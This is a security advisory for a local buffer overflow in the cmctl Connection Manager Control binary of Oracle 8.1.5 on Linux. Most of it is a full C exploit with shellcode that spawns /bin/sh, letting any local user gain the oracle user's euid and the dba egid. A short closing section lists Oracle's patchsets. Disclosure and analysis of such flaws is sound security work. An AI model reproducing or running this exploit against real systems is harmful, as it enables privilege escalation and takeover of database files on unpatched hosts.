COMMAND
Connection Manager Control binary
SYSTEMS AFFECTED
Oracle 8.1.5
PROBLEM
Juan Manuel Pascual Escriba found following. cmctl is a
Connection Manager Control binary. There is a buffer overflow in
cmctl that can be use by local users to obtain euid of oracle user
and egid to dba. With the default instalation oracle user owns
all database files.
Any user with local access, can gain euid= oracle an egid=dba
/*
Exploit Code for cmctl in Oracle 8.1.5 (8i) for Linux. I tested in RH
6.2 and 6.1. Is possible to export to others platforms.
If someone exports this to Sparc please tell me.
synopsis: buffer overflow in cmctl
Impact: any user gain euid=oracle and egid=dba.
Special Thanks to my favourite DBA. Xavi "de verdad como sois" Morales.
*/
#include <stdio.h>
#include <stdlib.h>
#define DEFAULT_OFFSET 1
#define DEFAULT_BUFFER_SIZE 350
#define NOP 0x90
#define BINARY "/usr/local/oracle8i/app/oracle/product/8.1.5/bin/cmctl
echo $pakito"
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
main(int argc, char *argv[]) {
char *buff, *ptr,*name[3],environ[100],binary[120];
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) offset = atoi(argv[1]);
else
{
printf("Use ./cmctl_start Offset\n");
exit(1);
}
buff = malloc(bsize);
addr = get_sp() - offset;
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
setenv("pakito",buff,1);
system(BINARY);
}
SOLUTION
Oracle has fixed this vulnerability in patchsets for Oracle8i,
Releases 8.1.6 and 8.1.5, and Oracle8, Releases 8.0.5, 8.0.4 and
8.0.3. The patchsets are available on Oracle's Support Services
site. All other production releases of the Oracle database server
contain this security patch by default.